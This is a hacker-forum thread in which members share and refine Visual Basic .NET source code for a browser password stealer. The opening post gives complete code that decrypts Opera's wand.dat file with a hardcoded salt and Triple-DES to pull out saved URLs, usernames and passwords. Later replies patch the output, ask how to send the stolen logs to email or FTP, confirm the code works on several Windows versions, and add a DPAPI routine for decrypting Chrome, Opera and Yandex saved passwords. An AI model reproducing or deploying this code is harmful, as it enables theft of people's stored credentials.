

Forum:[Hack Forums](#)

Thread: [\[VB\] Opera Password Stealer \[Source Code\]](#)

continue - January 28, 2011, 5:02 pm

Hey everyone,

I found this on the web, thought it'd be helpful to some of you guys

the tutorial says it has been shortened to only send "usernames, passwords & urls"

```
Code Imports System.Collections.Generic
Imports System.Text
Imports System.Security.Cryptography
Imports System.IO
```

Class Opera

```
    Private Shared opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
    &HE8, &H69, &H73, &HAF, &HFF}
    Private Shared key_size As Byte() = {&H0, &H0, &H0, &H8}
    Private Shared path As String =
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
    Public DOutput As String
    Dim c As Integer = 0, c1 As Integer = 0
    Dim firstrun As Boolean = True
    Dim ReturnValue As String
    Dim sUrlTemp, sUserTemp, sPassTemp As String
    Dim sUrl(1000), sUser(1000), sPass(1000) As String
    Dim lasturl As Integer = 0

    Public Function GetOpera()

If File.Exists(path & "\Opera\Opera\wand.dat") Then
    path += "\Opera\Opera\wand.dat"
    version2()
ElseIf File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
    path += "\Opera\Opera\profile\wand.dat"
    version2()
Else
End If

    End Function

    Private Sub version2()
Try
    Dim wand_file As Byte() = File.ReadAllBytes(path)
    Dim block_size As Integer = 0
    For i As Integer = 0 To wand_file.Length - 5
    If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso
```

```

wand_file(i + 3) = &H8 Then
    block_size = CInt(wand_file(i + 15))
    Dim key As Byte() = New Byte(7) {}
    Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
    Array.Copy(wand_file, i + 4, key, 0, key.Length)
    Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
    DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
    i += 11 + block_size
End If
Next
Dim Lines() As String
Lines = DOutput.Split(Environment.NewLine)
For j = 0 To 3
    Lines(j) = Nothing
Next
For j = 0 To Lines.Length - 1
    sUrlTemp = Nothing
    sUserTemp = Nothing
    sPassTemp = Nothing
    c = 0
    Try
        If Lines(j).Contains("http://") Then
            If j <> 0 Then
                Try
                    For k = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then
                            Lines(j) = Lines(j).Remove(k - c, 1)
                            c += 1
                        End If
                    Next
                    If j - lasturl = 1 Then
                        sUrlTemp = Lines(j)
                    ElseIf j - lasturl = 2 Then
                        sUrlTemp = Lines(j)
                    End If
                    lasturl = j
                Catch ex As Exception

            End Try
        End If
        ElseIf Lines(j).Contains("https://") Then
            If j <> 0 Then
                Try
                    For k = 0 To Lines(j).Length - 1
                        If AscW(Lines(j).Chars(k - c)) > 127 Then
                            Lines(j) = Lines(j).Remove(k - c, 1)
                            c += 1
                        End If
                    Next

                    If j - lasturl = 1 Then
                        sUrlTemp = Lines(j)
                    ElseIf j - lasturl = 2 Then

```

```

sUrlTemp = Lines(j)
End If
lasturl = j
Catch ex As Exception

End Try
End If
Else
If lasturl <> 0 Then
If j = lasturl + 2 Then

Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sUserTemp = Lines(j)
Catch ex As Exception

End Try
ElseIf j = lasturl + 4 Then
Try
For k = 0 To Lines(j).Length - 1
If AscW(Lines(j).Chars(k - c)) > 127 Then
Lines(j) = Lines(j).Remove(k - c, 1)
c += 1
End If
Next
sPassTemp = Lines(j)
c1 += 1
Catch ex As Exception
End Try
End If
End If
End If
Catch ex As Exception

End Try
Try
If sUrlTemp <> Nothing Then
sUrl(c1) = sUrlTemp
End If
If sUserTemp <> Nothing Then
sUser(c1) = sUserTemp
End If
If sPassTemp <> Nothing Then
Try
sPass(c1 - 1) = sPassTemp
Catch ex As Exception

End Try

```

End If

Catch ex As Exception

End Try

Next

Catch e As Exception

Console.WriteLine(e.Message)

End Try

For i = 0 To sUrl.Length

If sUrl(i) = "" Then

Exit For

End If

MsgBox(sUrl(i))

MsgBox(sUser(i))

MsgBox(sPass(i))

Next

End Sub

Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())

Try

Dim md5Crypt As New MD5CryptoServiceProvider()

md5Crypt.Initialize()

Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}

Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)

Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)

Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}

Array.Copy(hash1, tmpBuffer, hash1.Length)

Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)

Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)

Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)

Dim tripleDES As New TripleDESCryptoServiceProvider()

tripleDES.Mode = CipherMode.CBC

tripleDES.Padding = PaddingMode.None

Dim tripleKey As Byte() = New Byte(23) {}

Dim IV As Byte() = New Byte(7) {}

Array.Copy(hash1, tripleKey, hash1.Length)

Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)

Array.Copy(hash2, 8, IV, 0, 8)

tripleDES.Key = tripleKey

tripleDES.IV = IV

Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()

Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)

Dim enc As String = Encoding.Unicode.GetString(output)

Return enc

Catch e As Exception

Return ""

End Try

End Function

End Class
Ok fully workin stealer.

URL's are stored in sUrl, Passwords in sPass and Usernames in sUser !

Credits to Black-Blood. KingCobraXD

Enjoy.

KingCobraXD - January 28, 2011, 5:57 pm

Repost..Black-Blood has already posted it in this forum..Also, i have helped him converted it from C# to VB.NET. Where's my credits?

Even he has credited me:

<https://hackforums.net/showthread.php?tid=890615>

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sorry i'll credit you :) to short

njq8 - January 29, 2011, 2:33 am

nice Share

but there is problem

you can fix it like this to make Password correct remove chrw(0) and chrw(10)

```
MsgBox(sUrl(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))  
MsgBox(sUser(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))  
MsgBox(sPass(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))
```

gl ^.^

h4yR0 - January 29, 2011, 4:05 am

(Jan 29, 2011 03:33 AM)njn Wrote: [CITE](#) nice Share

but there is problem

you can fix it like this to make Password correct remove chrw(0) and chrw(10)

```
MsgBox(sUrl(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))  
MsgBox(sUser(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))  
MsgBox(sPass(i).Replace(ChrW(0), "").Replace(ChrW(10), ""))
```

gl ^.^

do you know how to make function that will be send logs to your email or FTP ?

» **µ?i??Rs?I G??i?G ILS** - January 29, 2011, 4:47 am

Nice share, thanks man. :D

lajcik - January 29, 2011, 5:37 am

That's good share for our community.

FET - January 26, 2012, 12:51 pm

Great share dude. Works perfectly!

Tested on Windows XP, Vista & 7 (x86 & x64), Opera v11.60

ibloodqman - January 26, 2012, 1:43 pm

(Jan 26, 2012 01:51 PM)FET Wrote: [\[CITE\]](#) Great share dude. Works perfectly!

Tested on Windows XP, Vista & 7 (x86 & x64), Opera v11.60

LOL, thread is 1 year old, and who are you thanking to?? +account closed!

FET - January 26, 2012, 2:26 pm

Account closed or not the source above is a nice peace of code and at least a thanks is needed for the guy who created it.

Plus giving a feedback that the code still works after a year or so, especially after Opera was updated several times from then, is not such a bad idea.

Easi-- - September 25, 2014, 7:26 am

Code does not work any more, because Opera does not use a wand file any more.

They seem to use another file , it is

AppData\Roaming\Opera Software\Opera Stable\Login Data

TheBarret - September 25, 2014, 6:33 pm

Code Elself File.Exists(path & "\Opera\Opera\profile\wand.dat") Then

path += "\Opera\Opera\profile\wand.dat"

version2()

Else <----- wtf is this about???

End If

Copy paste crap. bad BAD

Earn - September 25, 2014, 10:39 pm

This is from January, 2011. Please read the date next time.

mauricioscova - September 7, 2015, 5:51 pm

nice code thanks man Works perfectly!

Adderall - September 9, 2015, 5:56 am

(Sep 7, 2015 05:51 PM)mauricioscova Wrote: [\[CITE\]](#) nice code thanks man Works perfectly!

Stop grave digging use this code to decrypt the passwords for Chrome, Opera and Yandex.

Code Private Function Decrypt(ByVal EncryptedData As String) As String

If EncryptedData Is Nothing OrElse EncryptedData.Length = 0 Then Return Nothing

Return

System.Text.Encoding.UTF8.GetString(System.Security.Cryptography.ProtectedData.Unprotect(System.Text.Encoding.Default.GetBytes(EncryptedData), Nothing,

System.Security.Cryptography.DataProtectionScope.CurrentUser))

End Function